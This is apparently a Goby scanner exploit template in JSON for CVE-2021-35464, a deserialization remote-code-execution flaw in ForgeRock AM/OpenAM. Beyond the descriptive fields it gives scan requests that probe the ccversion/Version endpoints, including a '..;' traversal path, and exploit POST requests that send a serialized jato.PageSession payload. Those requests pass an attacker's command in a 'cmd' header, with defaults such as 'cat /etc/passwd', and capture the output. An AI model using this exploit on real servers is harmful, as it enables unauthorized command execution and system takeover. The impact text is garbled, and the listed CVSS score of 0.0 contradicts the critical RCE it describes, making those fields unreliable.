{
  "Name": "ForgeRock AM RCE CVE-2021-35464",
  "Description": "Forgerock OpenAM is an open source single sign-on framework from Forgerock, Inc. The framework provides the core identity service (CoreServer) to achieve transparent single sign-on in a network architecture.\\nDue to the use of the JATO framework in the Forgerock AM, this framework was discontinued for maintenance in 2005.The GET request parameter JATO.PageSession is handled in this framework and its value is deserialized directly.Attackers can construct jato. PageSession with a value of malicious serialized data, eventually causing remote code to execute.",
  "Product": "ForgeRock AM",
  "Homepage": "https://www.forgerock.com/blog/tag/openam",
  "DisclosureDate": "2021-07-06",
  "Author": "luckying1314@139.com",
  "GobyQuery": "app=\"OpenAM\"",
  "Level": "3",
  "Impact": "<p><span style=\"color: rgb(74, 144, 226); font-size: 14px;\">Deserialization command execution is mainly due to the application system in dealing with a sequence of bytes by means of reverse sequence not to check the sequence information, an attacker can forge the malicious byte sequences and make application system, application system will be to reverse sequence of the sequence of bytes will perform when submitted by malicious attackers sequence of bytes, which can lead to arbitrary code or command execution,</span><span style=\"font-size: 14px;\">Finally can complete the application system control authority or operating system authority.</span><br></p>",
  "Recommandation": "<p><span style=\"font-size: 14px;\">Verifies deserialized characters</span><br></p>",
  "References": [
    "https://www.pwnwiki.org/index.php?title=CVE-2021-35464_ForgeRock_OpenAM_RCE%E6%BC%8F%E6%B4%9E"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "Cmd",
      "type": "createSelect",
      "value": "ls,pwd,cat /etc/passwd",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "OR",
    {
      "Request": {
        "method": "GET",
        "uri": "/openam/oauth2/..;/ccversion/Version",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/openam/ccversion/Version",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "OR",
    {
      "Request": {
        "method": "POST",
        "uri": "/openam/oauth2/..;/ccversion/Version",
        "follow_redirect": true,
        "header": {
          "Content-Type": "application/x-www-form-urlencoded",
          "cmd": "{{{Cmd}}}"
        },
        "data_type": "text",
        "data": "jato.[encoded data, 10551 characters]$"
      },
      "SetVariable": [
        "output|lastbody"
      ]
    },
    {
      "Request": {
        "method": "POST",
        "uri": "/openam/ccversion/Version",
        "follow_redirect": true,
        "header": {
          "Content-Type": "application/x-www-form-urlencoded",
          "cmd": "{{{Cmd}}}"
        },
        "data_type": "text",
        "data": "jato.[encoded data, 10551 characters]$"
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": [
    "RCE"
  ],
  "CVEIDs": [
    "CVE-2021-35464"
  ],
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": [
      "ForgeRock AM"
    ],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}